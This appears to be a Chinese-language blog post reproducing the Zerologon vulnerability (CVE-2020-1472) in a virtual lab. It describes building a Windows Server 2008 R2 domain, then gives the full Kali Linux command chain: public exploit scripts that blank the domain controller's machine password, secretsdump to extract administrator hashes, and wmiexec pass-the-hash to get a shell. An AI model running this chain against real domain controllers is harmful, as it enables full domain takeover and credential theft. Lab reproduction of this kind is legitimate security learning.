PJzhang:CVE-2020-1472微軟NetLogon權限提高漏洞~復現

貓寧~~~

 

虛擬機上進行

安裝windows 2008 R2

查看服務器ip

本地鏈接屬性，取消ipv6，ip設置爲192.168.43.158，子網掩碼255.255.255.0，網關192.168.43.1，DNS設置192.168.43.1

打開初始配置任務，添加服務器角色，選擇active directory域服務

dcpromo，開啓active directory域服務安裝嚮導，新林中新建域，輸入域名www.pjzhang.com，密碼設置123.aaa，重啓計算機

安裝windows 7

本地鏈接屬性，取消ipv6，ip設置爲192.168.43.241，子網掩碼255.255.255.0，網關192.168.43.1，DNS設置192.168.43.158

計算機屬性，更改設置，計算機名更改，隸屬於域中填寫www.pjzhang.com，帳號密碼administrator/123.aaa，重啓計算機

https://github.com/SecuraBV/CVE-2020-1472

git clone https://github.com/SecuraBV/CVE-2020-1472.git

kali linux攻擊機
apt-get install python3-pip
pip3 install -r requirements.txt
計算機屬性查看windows 2008 r2的計算機名
python3 zerologon_tester.py WIN-U2A9B1M49R3 192.168.43.158
顯示Success! DC can be fully compromised by a Zerologon attack.

https://github.com/dirkjanm/CVE-2020-1472
git clone https://github.com/dirkjanm/CVE-2020-1472.git
python3 cve-2020-1472-exploit.py WIN-U2A9B1M49R3 192.168.43.158
報錯
Unexpected error: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2'.

git clone https://github.com/SecureAuthCorp/impacketcd
cd impacket/
pip3 install . 點表明目錄

python3 cve-2020-1472-exploit.py WIN-U2A9B1M49R3 192.168.43.158
顯示Exploit complete!，域控密碼修改成空

cd impacket/examples
python3 secretsdump.py WIN-U2A9B1M49R3\$@192.168.43.158 -no-pass
注意上方的反斜槓
得到Administrator:500:aad3b435b51404eeaad3b435b51404ee:28553a7f5b14b5e60ba4d7cce9045e3d:::

cd impacket/examplespython3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:28553a7f5b14b5e60ba4d7cce9045e3d Administrator@192.168.43.158鏈接上域控C:\>顯示C:\>whoamiwww\administrator